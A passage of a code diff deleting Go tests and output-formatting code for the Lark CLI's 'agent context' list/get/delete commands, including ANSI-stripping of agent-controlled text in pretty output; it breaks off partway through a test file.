-	group.AddCommand(grp)
-	grp.AddCommand(l)
-	l.Flags().String("as", "", "identity")
-	if err := l.Flags().Set("as", "bot"); err != nil {
-		t.Fatal(err)
-	}
-	l.SetContext(context.Background())
-	return l
-}
-
-// contextTestOpts wires a contextOptions against a real (test) Factory,
-// addressing the scripted fakeflow agent agt_x under a bot identity. The
-// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
-// test; provider behavior is scripted via setScripted.
-func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
-	t.Helper()
-	registerScripted()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, reg := cmdutil.TestFactory(t, cfg)
-	return &contextOptions{
-		Factory: f,
-		Cmd:     contextCmdCtx(t, leaf),
-		Ref:     "fakeflow:agt_x",
-		As:      "bot",
-	}, reg
-}
-
-// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
-// confirmation_required error (exit 10), raised before any provider is built.
-func TestContextDeleteRequiresYes(t *testing.T) {
-	err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
-	if err == nil {
-		t.Fatal("context delete without --yes should report confirmation_required")
-	}
-	if !errs.IsConfirmationRequired(err) {
-		t.Fatalf("should be a confirmation_required error, got %T", err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
-		t.Fatalf("exit code should be 10, got %d", code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
-		t.Fatalf("subtype should be confirmation_required, got %+v", p)
-	}
-}
-
-// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
-// deletes the session, and emits a success envelope.
-func TestContextDeleteWithYes(t *testing.T) {
-	opts, _ := contextTestOpts(t, "delete")
-	opts.CtxID = "sess_1"
-	opts.Yes = true
-	var deleted string
-	setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
-		deleted = ctxID
-		return nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextDeleteRun(opts); err != nil {
-		t.Fatalf("context delete --yes should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["context_id"] != "sess_1" || data["deleted"] != true {
-		t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
-	}
-	if deleted != "sess_1" {
-		t.Errorf("provider should receive the context id to delete, got %q", deleted)
-	}
-}
-
-// TestContextDeleteProviderError surfaces a provider DeleteContext failure
-// (non-zero business code) after --yes passes.
-func TestContextDeleteProviderError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "delete")
-	opts.CtxID = "sess_1"
-	opts.Yes = true
-	setScripted(t, scriptedHooks{deleteContext: func(string) error {
-		return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextDeleteRun(opts); err == nil {
-		t.Fatal("a DeleteContext error should propagate")
-	}
-}
-
-// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
-// after the --yes confirmation guard passes.
-func TestContextDeleteInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextListEmitsContexts pins that `context list` returns
-// {contexts:[...]} with a meta.count.
-func TestContextListEmitsContexts(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{
-			{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
-			{ContextID: "sess_2"},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	contexts, ok := data["contexts"].([]interface{})
-	if !ok || len(contexts) != 2 {
-		t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
-	}
-	if env.Meta == nil || env.Meta.Count != 2 {
-		t.Errorf("meta.count should be 2, got %+v", env.Meta)
-	}
-}
-
-// TestContextListSortedByUpdatedAtDesc pins the ordering + enriched-field
-// contract: the provider returns contexts out of order, and the command emits
-// them newest-first by updated_at while carrying the updated_at / task_count /
-// awaiting_input rollup for each.
-func TestContextListSortedByUpdatedAtDesc(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{
-			{ContextID: "old", UpdatedAt: "2026-07-05T10:00:00Z", TaskCount: 1},
-			{ContextID: "new", UpdatedAt: "2026-07-05T12:00:00Z", TaskCount: 3, AwaitingInput: true},
-			{ContextID: "mid", UpdatedAt: "2026-07-05T11:00:00Z", TaskCount: 2},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	contexts, ok := data["contexts"].([]interface{})
-	if !ok || len(contexts) != 3 {
-		t.Fatalf("data.contexts should have 3 entries, got %v", data["contexts"])
-	}
-	want := []string{"new", "mid", "old"}
-	for i, w := range want {
-		c, _ := contexts[i].(map[string]interface{})
-		if c["context_id"] != w {
-			t.Errorf("contexts[%d].context_id should be %q (newest-first), got %v", i, w, c["context_id"])
-		}
-	}
-	first, _ := contexts[0].(map[string]interface{})
-	if first["updated_at"] != "2026-07-05T12:00:00Z" {
-		t.Errorf("contexts[0].updated_at should be carried, got %v", first["updated_at"])
-	}
-	if first["task_count"] != float64(3) {
-		t.Errorf("contexts[0].task_count should be 3, got %v", first["task_count"])
-	}
-	if first["awaiting_input"] != true {
-		t.Errorf("contexts[0].awaiting_input should be true, got %v", first["awaiting_input"])
-	}
-}
-
-// TestContextListError surfaces a provider ListContexts failure.
-func TestContextListError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextListRun(opts); err == nil {
-		t.Fatal("a ListContexts error should propagate")
-	}
-}
-
-// TestContextListInvalidRef surfaces a malformed ref as a validation error.
-func TestContextListInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextGetEmitsDetail pins the enriched `context get` shape: metadata +
-// the task_count / awaiting_input rollup + a single active_task — and NO longer
-// a full tasks[] array (that moved to `agent task list --context-id`). The
-// active task's is_terminal is derived from State (input_required ⇒ false).
-func TestContextGetEmitsDetail(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{
-			ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00",
-			UpdatedAt: "2026-07-05T12:00:00+08:00", TaskCount: 2, AwaitingInput: true,
-			ActiveTask: &iagent.TaskSummary{
-				TaskID: "chat_2", State: iagent.StateInputRequired,
-				UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供季度",
-			},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["context_id"] != "sess_1" {
-		t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
-	}
-	if data["title"] != "销售分析" {
-		t.Errorf("data.title should be echoed, got %v", data["title"])
-	}
-	if data["task_count"] != float64(2) {
-		t.Errorf("data.task_count should be 2, got %v", data["task_count"])
-	}
-	if data["awaiting_input"] != true {
-		t.Errorf("data.awaiting_input should be true, got %v", data["awaiting_input"])
-	}
-	if _, hasTasks := data["tasks"]; hasTasks {
-		t.Errorf("context get should no longer embed a tasks[] array, got %v", data["tasks"])
-	}
-	active, ok := data["active_task"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("data.active_task should be present, got %v", data["active_task"])
-	}
-	if active["task_id"] != "chat_2" {
-		t.Errorf("active_task.task_id should be chat_2, got %v", active["task_id"])
-	}
-	if active["is_terminal"] != false {
-		t.Errorf("active_task.is_terminal should be derived from State (input_required ⇒ false), got %v", active["is_terminal"])
-	}
-	if active["summary"] != "请提供季度" {
-		t.Errorf("active_task.summary should carry the pending prompt, got %v", active["summary"])
-	}
-}
-
-// TestContextGetError surfaces a provider GetContext failure.
-func TestContextGetError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	setScripted(t, scriptedHooks{getContext: func(string) (*iagent.ContextDetail, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextGetRun(opts); err == nil {
-		t.Fatal("a GetContext error should propagate")
-	}
-}
-
-// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
-func TestContextGetInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextListWithJq pins the --jq output branch for list: the filtered
-// value (not the full envelope) is what reaches stdout.
-func TestContextListWithJq(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{{ContextID: "sess_1"}}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list --jq should not error: %v", err)
-	}
-	got := strings.TrimSpace(string(out.Bytes()))
-	if got != "1" {
-		t.Errorf("--jq .data.contexts | length should output 1, got %q", got)
-	}
-	if strings.Contains(got, `"ok"`) {
-		t.Errorf("--jq output should be the filtered value, not the full envelope, got %q", got)
-	}
-}
-
-// TestContextListEmptyEmitsArray pins the array convention: an empty context
-// list serializes as [] (never null), matching Card.Parameters.
-func TestContextListEmptyEmitsArray(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return nil, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	v, present := data["contexts"]
-	if !present {
-		t.Fatal("data.contexts key should be present")
-	}
-	if _, ok := v.([]interface{}); !ok {
-		t.Errorf("empty context list should emit a JSON array (not null), got %T: %v", v, v)
-	}
-	if env.Meta == nil || env.Meta.Count != 0 {
-		t.Errorf("meta.count should be 0, got %+v", env.Meta)
-	}
-}
-
-// TestContextListPretty exercises the --format pretty human-view branch for
-// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
-// stripped of ANSI escapes.
-func TestContextListPretty(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{
-			{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list --format pretty should not error: %v", err)
-	}
-	s := string(out.Bytes())
-	if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n") {
-		t.Errorf("pretty output should start with a header row, got %q", s)
-	}
-	if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
-		t.Errorf("pretty output should contain context_id and title, got %q", s)
-	}
-	if strings.Contains(s, "\x1b") {
-		t.Errorf("ANSI sequences in Title must be stripped: %q", s)
-	}
-	if strings.Contains(s, `"ok"`) {
-		t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
-	}
-}
-
-// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
-// filtered through the jq expression.
-func TestContextGetWithJq(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	opts.Cmd.Flags().String("jq", "", "")
-	if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
-		t.Fatal(err)
-	}
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{ContextID: ctxID}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get --jq should not error: %v", err)
-	}
-	got := strings.TrimSpace(string(out.Bytes()))
-	if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
-		t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
-	}
-}
-
-// TestContextGetPretty pins the --format pretty branch on context get: key:
-// value lines with the task_count / awaiting_input rollup + a one-line
-// active_task digest, title ANSI-stripped, and no full tasks[] list.
-func TestContextGetPretty(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{
-			ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
-			TaskCount: 1, AwaitingInput: false,
-			ActiveTask: &iagent.TaskSummary{
-				TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true, Summary: "分析完成",
-			},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get --format pretty should not error: %v", err)
-	}
-	s := string(out.Bytes())
-	for _, want := range []string{"context_id: sess_1", "title: 销售分析", "task_count: 1", "active_task: completed"} {
-		if !strings.Contains(s, want) {
-			t.Errorf("pretty output should contain %q, got %q", want, s)
-		}
-	}
-	if strings.Contains(s, "\x1b") {
-		t.Errorf("ANSI sequences in title must be stripped: %q", s)
-	}
-	if strings.Contains(s, "tasks:") {
-		t.Errorf("context get pretty should no longer render a tasks[] list, got %q", s)
-	}
-}
-
-// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
-func findSub(cmd *cobra.Command, name string) *cobra.Command {
-	for _, c := range cmd.Commands() {
-		if c.Name() == name {
-			return c
-		}
-	}
-	return nil
-}
-
-// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
-// RunE) with list/get/delete leaves.
-func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
-	cmd := NewCmdAgentContext(nil)
-	if cmd.RunE != nil || cmd.Run != nil {
-		t.Error("agent context group should not have RunE")
-	}
-	want := []string{"list", "get", "delete"}
-	for _, name := range want {
-		if findSub(cmd, name) == nil {
-			t.Errorf("missing subcommand context %s", name)
-		}
-	}
-}
-
-// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
-// the default flip: --format defaults to json.
-func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentContextList(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("context list missing ref should report an argument error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("context list with a single ref should be valid: %v", err)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil || fl.DefValue != "json" {
-		t.Errorf("context list --format default should flip to json, got %+v", fl)
-	}
-}
-
-// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
-// the added --format / --jq flags.
-func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentContextGet(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
-		t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
-		t.Errorf("context get ref+ctx-id should be valid: %v", err)
-	}
-	for _, name := range []string{"format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("context get should have a --%s flag", name)
-		}
-	}
-}
-
-// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
-// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
-func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
-	cmd := NewCmdAgentContextDelete(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
-		t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
-		t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
-	}
-	if cmd.Flags().Lookup("yes") == nil {
-		t.Error("context delete should have a --yes flag")
-	}
-	for _, name := range []string{"format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("context delete should have a --%s flag", name)
-		}
-	}
-}

cmd/agent/format.go

@@ -1,200 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// This file holds the --format surface shared by every agent leaf: value
-// validation, the pretty renderers (task key:value view, list
-// header-TSV views) with ANSI stripping for agent-controlled text, and the
-// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
-// validation error carrying a 用法 hint.
-package agent
-
-import (
-	"fmt"
-	"io"
-	"strings"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/validate"
-)
-
-// formatFlagHelp is the uniform --format help text across every agent leaf
-// (json is the tree-wide default, pretty the human opt-in).
-const formatFlagHelp = "output format: json (default) | pretty"
-
-// validateFormat rejects any --format outside json|pretty as a
-// validation/invalid_argument error (exit 2). The empty string is accepted for
-// options structs built directly in tests; the registered flag default is
-// "json" so a CLI invocation never passes "".
-func validateFormat(format string) error {
-	switch format {
-	case "", "json", "pretty":
-		return nil
-	}
-	return errs.NewValidationError(errs.SubtypeInvalidArgument,
-		"不支持的 --format 值 %q", format).
-		WithParam("--format").
-		WithHint("合法值: json | pretty")
-}
-
-// stripANSI sanitizes agent-controlled text before it is written raw to a
-// terminal by a pretty renderer, preventing terminal escape-sequence injection.
-// It delegates to validate.SanitizeForTerminal, which is a superset of the
-// mandated CSI regex:
-// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
-// Unicode. JSON output paths must NOT use this — programmatic consumers get
-// the raw data.
-func stripANSI(s string) string {
-	return validate.SanitizeForTerminal(s)
-}
-
-// kvValue sanitizes an agent-controlled value for a single-line "key: value"
-// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
-// SanitizeForTerminal deliberately preserves those, so without this a value
-// like "done\nstate: completed" would forge an adjacent field row. TSV
-// renderers keep plain stripANSI under their documented no-escape exemption.
-func kvValue(s string) string {
-	s = stripANSI(s)
-	s = strings.ReplaceAll(s, "\n", " ")
-	return strings.ReplaceAll(s, "\t", " ")
-}
-
-// truncateRunes caps s at max runes, appending an ellipsis when truncated.
-func truncateRunes(s string, max int) string {
-	r := []rune(s)
-	if len(r) <= max {
-		return s
-	}
-	return string(r[:max]) + "…"
-}
-
-// firstTextOf returns the first text Part carried by the task's messages
-// (the first text message), or "".
-func firstTextOf(task *iagent.AgentTask) string {
-	for _, m := range task.Messages {
-		for _, p := range m.Parts {
-			if p.Type == "text" && p.Text != "" {
-				return p.Text
-			}
-		}
-	}
-	return ""
-}
-
-// printTaskPretty renders the task-class pretty view: line-per-field
-// key: value with state / task_id / context_id / first text message truncated
-// to 120 runes / artifacts count. Every agent-controlled string goes through
-// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
-// terminal sequences nor forge an adjacent field row.
-func printTaskPretty(w io.Writer, task *iagent.AgentTask) {
-	if task == nil {
-		fmt.Fprintln(w, "(no task)")
-		return
-	}
-	fmt.Fprintf(w, "state: %s\n", kvValue(string(task.State)))
-	fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
-	if task.ContextID != "" {
-		fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
-	}
-	if text := firstTextOf(task); text != "" {
-		fmt.Fprintf(w, "text: %s\n", truncateRunes(kvValue(text), 120))
-	}
-	fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
-}
-
-// TSV renderers below intentionally do not escape tab/newline in cell values:
-// a value containing them breaks the column layout. The agent's primary
-// consumption surface is json; pretty is for human inspection only, so leaving
-// them unescaped is acceptable.
-
-// printTaskSummariesTSV renders the list-class pretty view for tasks: a header
-// row naming the json fields, then one row per task. Summary is agent-controlled
-// text, so it is ANSI-stripped AND newline/tab-flattened via kvValue — an
-// unflattened tab/newline would otherwise break the column layout; the ids keep
-// plain stripANSI under the TSV no-escape exemption.
-func printTaskSummariesTSV(w io.Writer, tasks []iagent.TaskSummary) {
-	fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY\n")
-	for _, t := range tasks {
-		fmt.Fprintf(w, "%s\t%s\t%s\t%t\t%s\t%s\n",
-			stripANSI(t.TaskID), stripANSI(t.ContextID), stripANSI(string(t.State)), t.IsTerminal, stripANSI(t.UpdatedAt), kvValue(t.Summary))
-	}
-}
-
-// printContextsTSV renders the list-class pretty view for contexts. The Title is
-// agent-controlled and ANSI-stripped; TaskCount / AwaitingInput are the
-// conversation-layer rollup used to spot which session needs attention.
-func printContextsTSV(w io.Writer, contexts []iagent.ContextSummary) {
-	fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n")
-	for _, c := range contexts {
-		fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%d\t%t\n",
-			stripANSI(c.ContextID), stripANSI(c.CreatedAt), stripANSI(c.UpdatedAt), stripANSI(c.Title), c.TaskCount, c.AwaitingInput)
-	}
-}
-
-// printContextDetailPretty renders `context get --format pretty` as a
-// conversation overview: metadata + the task_count / awaiting_input rollup, and
-// — when present — a one-line digest of the active task
-// (state · updated_at · summary). It deliberately does NOT expand the full task
-// list (that is `agent task list --context-id`). Agent-controlled strings (Title
-// and the active-task Summary) go through kvValue so they cannot forge adjacent
-// field rows.
-func printContextDetailPretty(w io.Writer, detail *iagent.ContextDetail) {
-	if detail == nil {
-		fmt.Fprintln(w, "(no context)")
-		return
-	}
-	fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
-	if detail.CreatedAt != "" {
-		fmt.Fprintf(w, "created_at: %s\n", kvValue(detail.CreatedAt))
-	}
-	if detail.UpdatedAt != "" {
-		fmt.Fprintf(w, "updated_at: %s\n", kvValue(detail.UpdatedAt))
-	}
-	if detail.Title != "" {
-		fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
-	}
-	fmt.Fprintf(w, "task_count: %d\n", detail.TaskCount)
-	fmt.Fprintf(w, "awaiting_input: %t\n", detail.AwaitingInput)
-	if at := detail.ActiveTask; at != nil {
-		fmt.Fprintf(w, "active_task: %s · %s · %s\n", kvValue(string(at.State)), kvValue(at.UpdatedAt), kvValue(at.Summary))
-	}
-}
-
-// usageHintOf builds the "用法: <command path> <positional shape>" hint from
-// the executing command's Use line, so the hint never drifts from the
-// registered Use string.
-func usageHintOf(cmd *cobra.Command) string {
-	if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
-		return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
-	}
-	return "用法: " + cmd.CommandPath()
-}
-
-// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
-// (exit 2) whose hint carries the full usage string — cobra's bare English
-// "accepts 2 arg(s), received 1" never says WHAT is missing.
-func exactArgsWithUsage(n int) cobra.PositionalArgs {
-	return func(cmd *cobra.Command, args []string) error {
-		if len(args) != n {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"需要 %d 个位置参数，收到 %d 个", n, len(args)).
-				WithHint("%s", usageHintOf(cmd))
-		}
-		return nil
-	}
-}
-
-// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
-// exactArgsWithUsage, for leaves with an optional positional (agent list).
-func maximumArgsWithUsage(n int) cobra.PositionalArgs {
-	return func(cmd *cobra.Command, args []string) error {
-		if len(args) > n {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"最多接受 %d 个位置参数，收到 %d 个", n, len(args)).
-				WithHint("%s", usageHintOf(cmd))
-		}
-		return nil
-	}
-}

cmd/agent/format_test.go

@@ -1,381 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"encoding/json"
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
-// only occurs when options structs are built directly in tests) pass.
-func TestValidateFormat_Valid(t *testing.T) {
-	for _, f := range []string{"", "json", "pretty"} {
-		if err := validateFormat(f); err != nil {
-			t.Errorf("format %q should be valid: %v", f, err)
-		}
-	}
-}
-
-// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
-// validation/invalid_argument error (exit 2) whose hint lists the legal values
-// and whose param names the flag with the -- prefix.
-func TestValidateFormat_Invalid(t *testing.T) {
-	err := validateFormat("yaml")
-	if err == nil {
-		t.Fatal("--format yaml should error (currently silently treated as json)")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-	}
-	if !strings.Contains(p.Hint, "json | pretty") {
-		t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--format" {
-		t.Errorf("param should be --format, got %+v", verr)
-	}
-}
-
-// agentRootTree builds `lark-cli agent ...` as production wires it (root Use
-// lark-cli), with a nil Factory: format validation must fire at the RunE
-// entry, before any Factory access.
-func agentRootTree() *cobra.Command {
-	root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
-	root.AddCommand(NewCmdAgent(nil))
-	return root
-}
-
-// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
-// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
-// hint, uniformly, before any provider/Factory is touched.
-func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
-	leaves := [][]string{
